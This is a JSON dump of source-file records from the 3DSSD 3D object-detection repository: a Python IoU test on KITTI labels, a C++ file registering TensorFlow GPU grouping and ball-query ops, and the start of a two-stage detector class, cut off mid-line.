[ { "alpha_fraction": 0.6836007237434387, "alphanum_fraction": 0.6996434926986694, "avg_line_length": 30.16666603088379, "blob_id": "3f58fd114cdf950cfa63b9ac4b473d9656cbe286", "content_id": "a32f888c76dc2dabc76d20aca861bfbb102af28a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1122, "license_type": "permissive", "max_line_length": 82, "num_lines": 36, "path": "/lib/utils/tf_ops/evaluation/test_calc_3d_iou.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import os, sys\nimport tqdm\nimport tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\nfrom utils.tf_ops.evaluation.tf_evaluate import calc_iou \n\nimport utils.kitti_object as kitti_object\nimport utils.box_3d_utils as box_3d_utils\n\nsess = tf.Session()\n\nROOT_DIR = cfg.ROOT_DIR\nval_list_path = os.path.join(ROOT_DIR, cfg.DATASET.KITTI.VAL_LIST)\ndataset_dir = os.path.join(cfg.ROOT_DIR, cfg.DATASET.KITTI.BASE_DIR_PATH)\n\ndataset = kitti_object.kitti_object(dataset_dir, 'training')\nlabel_dir = os.path.join(dataset_dir, 'training', 'label_2')\n\nwith open(val_list_path, 'r') as f:\n val_list = [int(line.strip('\\n')) for line in f.readlines()]\n\nsess = tf.Session()\n\nfor val_idx in tqdm.tqdm(val_list):\n label_name = os.path.join(label_dir, '%06d.txt'%val_idx)\n\n label_objects = dataset.get_label_objects(val_idx)\n # then cast these objects to box_3d\n label_3d = [box_3d_utils.object_label_to_box_3d(obj) for obj in label_objects]\n label_3d = np.array(label_3d)\n label_3d = np.expand_dims(label_3d, axis=0)\n\n iou_bev, iou_3d = calc_iou(label_3d, label_3d) \n print(sess.run(iou_3d))\n" }, { "alpha_fraction": 0.6038970947265625, "alphanum_fraction": 0.6233080625534058, "avg_line_length": 51.3151741027832, "blob_id": "56a2f249eb5182ca5f163cc34347222898477446", "content_id": "ea4c8afa1eb796db07fa9717e1eae23668df3abc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 26892, "license_type": "permissive", "max_line_length": 339, "num_lines": 514, "path": "/lib/utils/tf_ops/grouping/tf_grouping.cpp", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <ctime>\n#include <cstring> // memset\n#include <cstdlib> // rand, RAND_MAX\n#include <cmath> // sqrtf\n#include \"tensorflow/core/framework/op.h\"\n#include \"tensorflow/core/framework/op_kernel.h\"\n#include \"tensorflow/core/framework/shape_inference.h\"\n#include \"tensorflow/core/framework/common_shape_fns.h\"\n#include <cuda_runtime.h>\nusing namespace tensorflow;\n\nREGISTER_OP(\"QueryBoxes3dMask\")\n .Input(\"xyz: float32\")\n .Input(\"boxes_3d: float32\")\n .Output(\"mask: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // bs, pts_num, 3\n c->WithRank(c->input(0), 3, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // bs, proposal_num, 7\n c->WithRank(c->input(1), 3, &dims2);\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), c->Dim(dims1, 1)}); // bs, proposal_num, pts_num \n c->set_output(0, output1);\n return Status::OK();\n });\nREGISTER_OP(\"QueryPointsIou\")\n .Input(\"xyz: float32\")\n .Input(\"anchors_3d: float32\")\n .Input(\"gt_boxes_3d: float32\")\n .Input(\"iou_matrix: float32\")\n .Output(\"iou_points: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // bs, anchors_num, 7\n c->WithRank(c->input(1), 3, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // bs, gt_num, 7\n c->WithRank(c->input(2), 3, &dims2);\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), c->Dim(dims2, 1)}); // bs, anchors_num, gt_num\n c->set_output(0, output1);\n return Status::OK();\n });\nREGISTER_OP(\"QueryBoxes3dPoints\")\n .Attr(\"nsample: int\")\n .Input(\"xyz: float32\")\n .Input(\"proposals: float32\")\n .Output(\"idx: int32\")\n .Output(\"pts_cnt: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims2; // bs, proposal_num, 7\n c->WithRank(c->input(1), 3, &dims2);\n int nsample;\n TF_RETURN_IF_ERROR(c->GetAttr(\"nsample\", &nsample));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), nsample}); // bs, proposal_num, nsample\n c->set_output(0, output1);\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)}); // bs, proposal_num\n c->set_output(1, output2);\n return Status::OK();\n });\nREGISTER_OP(\"QueryBallPoint\")\n .Attr(\"radius: float\")\n .Attr(\"nsample: int\")\n .Input(\"xyz1: float32\")\n .Input(\"xyz2: float32\")\n .Output(\"idx: int32\")\n .Output(\"pts_cnt: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoint * 3\n c->WithRank(c->input(1), 3, &dims2);\n int nsample;\n TF_RETURN_IF_ERROR(c->GetAttr(\"nsample\", &nsample));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), nsample});\n c->set_output(0, output1);\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)});\n c->set_output(1, output2);\n return Status::OK();\n });\nREGISTER_OP(\"QueryBallPointDilated\")\n .Attr(\"min_radius: float\")\n .Attr(\"max_radius: float\")\n .Attr(\"nsample: int\")\n .Input(\"xyz1: float32\") // bs * n * 3\n .Input(\"xyz2: float32\") // bs * m * 3\n .Output(\"idx: int32\") // bs * m * nsample\n .Output(\"pts_cnt: int32\") // bs * m\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoint * 3\n c->WithRank(c->input(1), 3, &dims2);\n int nsample;\n TF_RETURN_IF_ERROR(c->GetAttr(\"nsample\", &nsample));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), nsample});\n c->set_output(0, output1);\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)});\n c->set_output(1, output2);\n return Status::OK();\n });\nREGISTER_OP(\"QueryBallPointWithidx\")\n .Attr(\"radius: float\")\n .Attr(\"nsample: int\")\n .Input(\"xyz1: float32\")\n .Input(\"xyz2: float32\")\n .Input(\"sort_idx: int32\")\n .Output(\"idx: int32\")\n .Output(\"pts_cnt: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoint * 3\n c->WithRank(c->input(1), 3, &dims2);\n int nsample;\n TF_RETURN_IF_ERROR(c->GetAttr(\"nsample\", &nsample));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), nsample});\n c->set_output(0, output1);\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)});\n c->set_output(1, output2);\n return Status::OK();\n });\nREGISTER_OP(\"SelectionSort\")\n .Attr(\"k: int\")\n .Input(\"dist: float32\")\n .Output(\"outi: int32\")\n .Output(\"out: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n c->set_output(0, c->input(0));\n c->set_output(1, c->input(0));\n return Status::OK();\n });\nREGISTER_OP(\"GroupPoint\")\n .Input(\"points: float32\")\n .Input(\"idx: int32\")\n .Output(\"out: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * ndataset * channels\n c->WithRank(c->input(0), 3, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoints * nsample\n c->WithRank(c->input(1), 3, &dims2);\n // batch_size * npoints * nsample * channels\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1), c->Dim(dims2, 2), c->Dim(dims1, 2)});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"GroupPointGrad\")\n .Input(\"points: float32\")\n .Input(\"idx: int32\")\n .Input(\"grad_out: float32\")\n .Output(\"grad_points: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n c->set_output(0, c->input(0));\n return Status::OK();\n });\n\n\n\n// QueryBoxes3dMask \nvoid queryBoxes3dMaskLauncher(int b, int n, int m, const float *xyz, const float *boxes_3d, int *mask);\nclass QueryBoxes3dMaskGpuOp : public OpKernel {\n public:\n explicit QueryBoxes3dMaskGpuOp(OpKernelConstruction* context) : OpKernel(context) {}\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz_tensor = context->input(0);\n OP_REQUIRES(context, xyz_tensor.dims()==3 && xyz_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBoxes3dMask expects (batch_size, ndataset, 3) xyz shape.\"));\n int b = xyz_tensor.shape().dim_size(0);\n int n = xyz_tensor.shape().dim_size(1);\n\n const Tensor& boxes_3d_tensor = context->input(1);\n OP_REQUIRES(context, boxes_3d_tensor.dims()==3 && boxes_3d_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"QueryBoxes3dMask expects (batch_size, box_num, 7) boxes shape.\"));\n int m = boxes_3d_tensor.shape().dim_size(1);\n\n Tensor *mask_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,n}, &mask_tensor));\n\n auto xyz_flat = xyz_tensor.flat<float>();\n const float *xyz = &(xyz_flat(0));\n auto boxes_3d_flat = boxes_3d_tensor.flat<float>();\n const float *boxes_3d = &(boxes_3d_flat(0));\n auto mask_flat = mask_tensor->flat<int>();\n int *mask = &(mask_flat(0));\n queryBoxes3dMaskLauncher(b,n,m,xyz,boxes_3d,mask);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryBoxes3dMask\").Device(DEVICE_GPU), QueryBoxes3dMaskGpuOp);\n\n\n// QueryPointsIou \nvoid queryPointsIouLauncher(int b, int n, int anchors_num, int gt_num,\n const float* xyz, const float* anchors_3d, const float* gt_boxes_3d,\n const float* iou_matrix, float* iou_points);\nclass QueryPointsIouGpuOp : public OpKernel {\n public:\n explicit QueryPointsIouGpuOp(OpKernelConstruction* context) : OpKernel(context) {}\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz_tensor = context->input(0);\n OP_REQUIRES(context, xyz_tensor.dims()==3 && xyz_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryPointsIou expects (batch_size, ndataset, 3) xyz shape.\"));\n int b = xyz_tensor.shape().dim_size(0);\n int n = xyz_tensor.shape().dim_size(1);\n\n const Tensor& anchors_3d_tensor = context->input(1);\n OP_REQUIRES(context, anchors_3d_tensor.dims()==3 && anchors_3d_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"QueryPointsIou expects (batch_size, anchors_num, 7) anchors shape.\"));\n int anchors_num = anchors_3d_tensor.shape().dim_size(1);\n\n const Tensor& gt_boxes_3d_tensor = context->input(2);\n OP_REQUIRES(context, gt_boxes_3d_tensor.dims()==3 && gt_boxes_3d_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"QueryPointsIou expects (batch_size, gt_num, 7) gt_boxes_3d shape.\"));\n int gt_num = gt_boxes_3d_tensor.shape().dim_size(1);\n\n const Tensor& iou_matrix_tensor = context->input(3);\n OP_REQUIRES(context, iou_matrix_tensor.dims()==3 && iou_matrix_tensor.shape().dim_size(1)==anchors_num && iou_matrix_tensor.shape().dim_size(2) == gt_num, errors::InvalidArgument(\"QueryPointsIou expects (batch_size, anchors_num, gt_num) iou_matrix_tensor shape.\"));\n\n Tensor *iou_points_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,anchors_num,gt_num}, &iou_points_tensor));\n\n auto xyz_flat = xyz_tensor.flat<float>();\n const float *xyz = &(xyz_flat(0));\n auto anchors_3d_flat = anchors_3d_tensor.flat<float>();\n const float* anchors_3d = &(anchors_3d_flat(0));\n auto gt_boxes_3d_flat = gt_boxes_3d_tensor.flat<float>();\n const float* gt_boxes_3d = &(gt_boxes_3d_flat(0));\n auto iou_matrix_flat = iou_matrix_tensor.flat<float>();\n const float* iou_matrix = &(iou_matrix_flat(0));\n\n auto iou_points_flat = iou_points_tensor->flat<float>();\n float *iou_points = &(iou_points_flat(0));\n queryPointsIouLauncher(b,n,anchors_num,gt_num,\n xyz, anchors_3d, gt_boxes_3d,\n iou_matrix, iou_points);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryPointsIou\").Device(DEVICE_GPU), QueryPointsIouGpuOp);\n\n// QueryBoxes3dPoints \nvoid queryBoxes3dPointsLauncher(int b, int n, int m, int nsample, const float *xyz, const float *proposals, int *idx, int *pts_cnt);\nclass QueryBoxes3dPointsGpuOp : public OpKernel {\n public:\n explicit QueryBoxes3dPointsGpuOp(OpKernelConstruction* context) : OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"nsample\", &nsample_));\n OP_REQUIRES(context, nsample_ > 0, errors::InvalidArgument(\"QueryBoxes3dPoints expects positive nsample\"));\n }\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz_tensor = context->input(0);\n OP_REQUIRES(context, xyz_tensor.dims()==3 && xyz_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBoxes3dPoints expects (batch_size, ndataset, 3) xyz shape.\"));\n int b = xyz_tensor.shape().dim_size(0);\n int n = xyz_tensor.shape().dim_size(1);\n\n const Tensor& proposals_tensor = context->input(1);\n OP_REQUIRES(context, proposals_tensor.dims()==3 && proposals_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"QueryBoxes3dPoints expects (batch_size, proposal_num, 7) proposal shape.\"));\n int m = proposals_tensor.shape().dim_size(1);\n\n Tensor *idx_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,nsample_}, &idx_tensor));\n Tensor *pts_cnt_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{b,m}, &pts_cnt_tensor));\n\n auto xyz_flat = xyz_tensor.flat<float>();\n const float *xyz = &(xyz_flat(0));\n auto proposals_flat = proposals_tensor.flat<float>();\n const float *proposals = &(proposals_flat(0));\n auto idx_flat = idx_tensor->flat<int>();\n int *idx = &(idx_flat(0));\n auto pts_cnt_flat = pts_cnt_tensor->flat<int>();\n int *pts_cnt = &(pts_cnt_flat(0));\n queryBoxes3dPointsLauncher(b,n,m,nsample_,xyz,proposals,idx,pts_cnt);\n }\n private:\n int nsample_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryBoxes3dPoints\").Device(DEVICE_GPU), QueryBoxes3dPointsGpuOp);\n\n\n\n\n// QueryBallPoint\nvoid queryBallPointLauncher(int b, int n, int m, float radius, int nsample, const float *xyz1, const float *xyz2, int *idx, int *pts_cnt);\nclass QueryBallPointGpuOp : public OpKernel {\n public:\n explicit QueryBallPointGpuOp(OpKernelConstruction* context) : OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"radius\", &radius_));\n OP_REQUIRES(context, radius_ > 0, errors::InvalidArgument(\"QueryBallPoint expects positive radius\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"nsample\", &nsample_));\n OP_REQUIRES(context, nsample_ > 0, errors::InvalidArgument(\"QueryBallPoint expects positive nsample\"));\n }\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz1_tensor = context->input(0);\n OP_REQUIRES(context, xyz1_tensor.dims()==3 && xyz1_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPoint expects (batch_size, ndataset, 3) xyz1 shape.\"));\n int b = xyz1_tensor.shape().dim_size(0);\n int n = xyz1_tensor.shape().dim_size(1);\n\n const Tensor& xyz2_tensor = context->input(1);\n OP_REQUIRES(context, xyz2_tensor.dims()==3 && xyz2_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPoint expects (batch_size, npoint, 3) xyz2 shape.\"));\n int m = xyz2_tensor.shape().dim_size(1);\n\n Tensor *idx_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,nsample_}, &idx_tensor));\n Tensor *pts_cnt_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{b,m}, &pts_cnt_tensor));\n\n auto xyz1_flat = xyz1_tensor.flat<float>();\n const float *xyz1 = &(xyz1_flat(0));\n auto xyz2_flat = xyz2_tensor.flat<float>();\n const float *xyz2 = &(xyz2_flat(0));\n auto idx_flat = idx_tensor->flat<int>();\n int *idx = &(idx_flat(0));\n auto pts_cnt_flat = pts_cnt_tensor->flat<int>();\n int *pts_cnt = &(pts_cnt_flat(0));\n queryBallPointLauncher(b,n,m,radius_,nsample_,xyz1,xyz2,idx,pts_cnt);\n }\n private:\n float radius_;\n int nsample_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryBallPoint\").Device(DEVICE_GPU), QueryBallPointGpuOp);\n\n\n// QueryBallPointWithidx\nvoid queryBallPointWithidxLauncher(int b, int n, int m, float radius, int nsample, const float *xyz1, const float *xyz2, const int* sort_idx, int *idx, int *pts_cnt);\nclass QueryBallPointWithidxGpuOp : public OpKernel {\n public:\n explicit QueryBallPointWithidxGpuOp(OpKernelConstruction* context) : OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"radius\", &radius_));\n OP_REQUIRES(context, radius_ > 0, errors::InvalidArgument(\"QueryBallPointWithidx expects positive radius\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"nsample\", &nsample_));\n OP_REQUIRES(context, nsample_ > 0, errors::InvalidArgument(\"QueryBallPointWithidx expects positive nsample\"));\n }\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz1_tensor = context->input(0);\n OP_REQUIRES(context, xyz1_tensor.dims()==3 && xyz1_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPointWithidx expects (batch_size, ndataset, 3) xyz1 shape.\"));\n int b = xyz1_tensor.shape().dim_size(0);\n int n = xyz1_tensor.shape().dim_size(1);\n\n const Tensor& xyz2_tensor = context->input(1);\n OP_REQUIRES(context, xyz2_tensor.dims()==3 && xyz2_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPointWithidx expects (batch_size, npoint, 3) xyz2 shape.\"));\n int m = xyz2_tensor.shape().dim_size(1);\n\n const Tensor& sort_idx_tensor = context->input(2);\n OP_REQUIRES(context, sort_idx_tensor.dims()==3 && sort_idx_tensor.shape().dim_size(1)==m && sort_idx_tensor.shape().dim_size(2)==n, errors::InvalidArgument(\"QueryBallPointWithidx expects (batch_size, npoint, ndataset) xyz2 shape.\"));\n\n Tensor *idx_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,nsample_}, &idx_tensor));\n Tensor *pts_cnt_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{b,m}, &pts_cnt_tensor));\n\n auto xyz1_flat = xyz1_tensor.flat<float>();\n const float *xyz1 = &(xyz1_flat(0));\n auto xyz2_flat = xyz2_tensor.flat<float>();\n const float *xyz2 = &(xyz2_flat(0));\n auto sort_idx_flat = sort_idx_tensor.flat<int>();\n const int *sort_idx = &(sort_idx_flat(0));\n auto idx_flat = idx_tensor->flat<int>();\n int *idx = &(idx_flat(0));\n auto pts_cnt_flat = pts_cnt_tensor->flat<int>();\n int *pts_cnt = &(pts_cnt_flat(0));\n queryBallPointWithidxLauncher(b,n,m,radius_,nsample_,xyz1,xyz2,sort_idx,idx,pts_cnt);\n }\n private:\n float radius_;\n int nsample_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryBallPointWithidx\").Device(DEVICE_GPU), QueryBallPointWithidxGpuOp);\n\n\n// QueryBallPointDilated\nvoid queryBallPointDilatedLauncher(int b, int n, int m, float min_radius, float max_radius, int nsample, const float *xyz1, const float *xyz2, int *idx, int *pts_cnt);\nclass QueryBallPointDilatedGpuOp : public OpKernel {\n public:\n explicit QueryBallPointDilatedGpuOp(OpKernelConstruction* context) : OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"min_radius\", &min_radius_));\n OP_REQUIRES(context, min_radius_ >= 0, errors::InvalidArgument(\"QueryBallPointDilated expects positive min_radius\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"max_radius\", &max_radius_));\n OP_REQUIRES(context, max_radius_ > 0, errors::InvalidArgument(\"QueryBallPointDilated expects positive max_radius\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"nsample\", &nsample_));\n OP_REQUIRES(context, nsample_ > 0, errors::InvalidArgument(\"QueryBallPointDilated expects positive nsample\"));\n }\n\n void Compute(OpKernelContext* context) override {\n const Tensor& xyz1_tensor = context->input(0);\n OP_REQUIRES(context, xyz1_tensor.dims()==3 && xyz1_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPointDilated expects (batch_size, ndataset, 3) xyz1 shape.\"));\n int b = xyz1_tensor.shape().dim_size(0);\n int n = xyz1_tensor.shape().dim_size(1);\n\n const Tensor& xyz2_tensor = context->input(1);\n OP_REQUIRES(context, xyz2_tensor.dims()==3 && xyz2_tensor.shape().dim_size(2)==3, errors::InvalidArgument(\"QueryBallPointDilated expects (batch_size, npoint, 3) xyz2 shape.\"));\n int m = xyz2_tensor.shape().dim_size(1);\n\n Tensor *idx_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,nsample_}, &idx_tensor));\n Tensor *pts_cnt_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{b,m}, &pts_cnt_tensor));\n\n auto xyz1_flat = xyz1_tensor.flat<float>();\n const float *xyz1 = &(xyz1_flat(0));\n auto xyz2_flat = xyz2_tensor.flat<float>();\n const float *xyz2 = &(xyz2_flat(0));\n auto idx_flat = idx_tensor->flat<int>();\n int *idx = &(idx_flat(0));\n auto pts_cnt_flat = pts_cnt_tensor->flat<int>();\n int *pts_cnt = &(pts_cnt_flat(0));\n queryBallPointDilatedLauncher(b,n,m,min_radius_,max_radius_,nsample_,xyz1,xyz2,idx,pts_cnt);\n }\n private:\n float min_radius_;\n float max_radius_;\n int nsample_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"QueryBallPointDilated\").Device(DEVICE_GPU), QueryBallPointDilatedGpuOp);\n\n\n// SelectionSort\nvoid selectionSortLauncher(int b, int n, int m, int k, const float *dist, int *outi, float *out);\nclass SelectionSortGpuOp : public OpKernel {\n public:\n explicit SelectionSortGpuOp(OpKernelConstruction* context) : OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"k\", &k_));\n OP_REQUIRES(context, k_ > 0, errors::InvalidArgument(\"SelectionSort expects positive k\"));\n }\n\n void Compute(OpKernelContext* context) override {\n const Tensor& dist_tensor = context->input(0);\n OP_REQUIRES(context, dist_tensor.dims()==3, errors::InvalidArgument(\"SelectionSort expects (b,m,n) dist shape.\"));\n int b = dist_tensor.shape().dim_size(0);\n int m = dist_tensor.shape().dim_size(1);\n int n = dist_tensor.shape().dim_size(2);\n\n Tensor *outi_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{b,m,n}, &outi_tensor));\n Tensor *out_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{b,m,n}, &out_tensor));\n\n auto dist_flat = dist_tensor.flat<float>();\n const float *dist = &(dist_flat(0));\n auto outi_flat = outi_tensor->flat<int>();\n int *outi = &(outi_flat(0));\n auto out_flat = out_tensor->flat<float>();\n float *out = &(out_flat(0));\n selectionSortLauncher(b,n,m,k_,dist,outi,out);\n }\n private:\n int k_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"SelectionSort\").Device(DEVICE_GPU), SelectionSortGpuOp);\n\n\n// GroupPoint\nvoid groupPointLauncher(int b, int n, int c, int m, int nsample, const float *points, const int *idx, float *out);\nclass GroupPointGpuOp: public OpKernel{\n public:\n explicit GroupPointGpuOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& points_tensor=context->input(0);\n OP_REQUIRES(context, points_tensor.dims()==3, errors::InvalidArgument(\"GroupPoint expects (batch_size, num_points, channel) points shape\"));\n int b = points_tensor.shape().dim_size(0);\n int n = points_tensor.shape().dim_size(1);\n int c = points_tensor.shape().dim_size(2);\n\n const Tensor& idx_tensor=context->input(1);\n OP_REQUIRES(context,idx_tensor.dims()==3 && idx_tensor.shape().dim_size(0)==b, errors::InvalidArgument(\"GroupPoint expects (batch_size, npoints, nsample) idx shape\"));\n int m = idx_tensor.shape().dim_size(1);\n int nsample = idx_tensor.shape().dim_size(2);\n\n Tensor * out_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0,TensorShape{b,m,nsample,c}, &out_tensor));\n\n auto points_flat = points_tensor.flat<float>();\n const float *points = &(points_flat(0));\n auto idx_flat = idx_tensor.flat<int>();\n const int *idx = &(idx_flat(0));\n auto out_flat = out_tensor->flat<float>();\n float *out = &(out_flat(0));\n groupPointLauncher(b,n,c,m,nsample,points,idx,out);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"GroupPoint\").Device(DEVICE_GPU),GroupPointGpuOp);\n\n\n// GroupPointGrad\nvoid groupPointGradLauncher(int b, int n, int c, int m, int nsample, const float *grad_out, const int *idx, float *grad_points);\nclass GroupPointGradGpuOp: public OpKernel{\n public:\n explicit GroupPointGradGpuOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& points_tensor=context->input(0);\n OP_REQUIRES(context, points_tensor.dims()==3, errors::InvalidArgument(\"GroupPointGrad expects (batch_size, num_points, channel) points shape\"));\n int b = points_tensor.shape().dim_size(0);\n int n = points_tensor.shape().dim_size(1);\n int c = points_tensor.shape().dim_size(2);\n\n const Tensor& idx_tensor=context->input(1);\n OP_REQUIRES(context,idx_tensor.dims()==3 && idx_tensor.shape().dim_size(0)==b, errors::InvalidArgument(\"GroupPointGrad expects (batch_size, npoints, nsample) idx shape\"));\n int m = idx_tensor.shape().dim_size(1);\n int nsample = idx_tensor.shape().dim_size(2);\n\n const Tensor& grad_out_tensor=context->input(2);\n OP_REQUIRES(context,grad_out_tensor.dims()==4 && grad_out_tensor.shape().dim_size(0)==b && grad_out_tensor.shape().dim_size(1)==m && grad_out_tensor.shape().dim_size(2)==nsample && grad_out_tensor.shape().dim_size(3)==c, errors::InvalidArgument(\"GroupPointGrad expects (batch_size, npoints, nsample, channel) grad_out shape\"));\n\n Tensor * grad_points_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0,TensorShape{b,n,c}, &grad_points_tensor));\n\n auto points_flat = points_tensor.flat<float>();\n const float *points = &(points_flat(0));\n auto idx_flat = idx_tensor.flat<int>();\n const int *idx = &(idx_flat(0));\n auto grad_out_flat = grad_out_tensor.flat<float>();\n const float *grad_out = &(grad_out_flat(0));\n auto grad_points_flat = grad_points_tensor->flat<float>();\n float *grad_points = &(grad_points_flat(0));\n cudaMemset(grad_points, 0, sizeof(float)*b*n*c);\n groupPointGradLauncher(b,n,c,m,nsample,grad_out,idx,grad_points);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"GroupPointGrad\").Device(DEVICE_GPU),GroupPointGradGpuOp);\n\n\n" }, { "alpha_fraction": 0.630427896976471, "alphanum_fraction": 0.6387955546379089, "avg_line_length": 45.80712127685547, "blob_id": "47fa92bcdd8c296c371723576a99182399fdeb38", "content_id": "912c6420439fca4613fe58ee56eb29ef2bd475c2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15775, "license_type": "permissive", "max_line_length": 202, "num_lines": 337, "path": "/lib/modeling/double_stage_detector.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\n\nfrom core.config import cfg\nfrom builder.anchor_builder import Anchors\nfrom builder.target_assigner import TargetAssigner\nfrom builder.layer_builder import LayerBuilder\nfrom dataset.placeholders import PlaceHolders\nfrom modeling.head_builder import HeadBuilder \nfrom builder.encoder_builder import EncoderDecoder\nfrom builder.postprocessor import PostProcessor\nfrom builder.loss_builder import LossBuilder\nfrom builder.points_pooler import PointsPooler\nfrom builder.sampler import Sampler\n\nfrom utils.box_3d_utils import transfer_box3d_to_corners \nfrom utils.model_util import *\n\nimport dataset.maps_dict as maps_dict\n\nclass DoubleStageDetector:\n def __init__(self, batch_size, is_training):\n self.batch_size = batch_size\n self.is_training = is_training\n self.only_first_stage = cfg.MODEL.ONLY_FIRST_STAGE\n\n # placeholders\n self.placeholders_builder = PlaceHolders(self.batch_size) \n self.placeholders_builder.get_placeholders()\n self.placeholders = self.placeholders_builder.placeholders\n\n self.cls_list = cfg.DATASET.KITTI.CLS_LIST\n self.cls2idx = dict([(cls, i + 1) for i, cls in 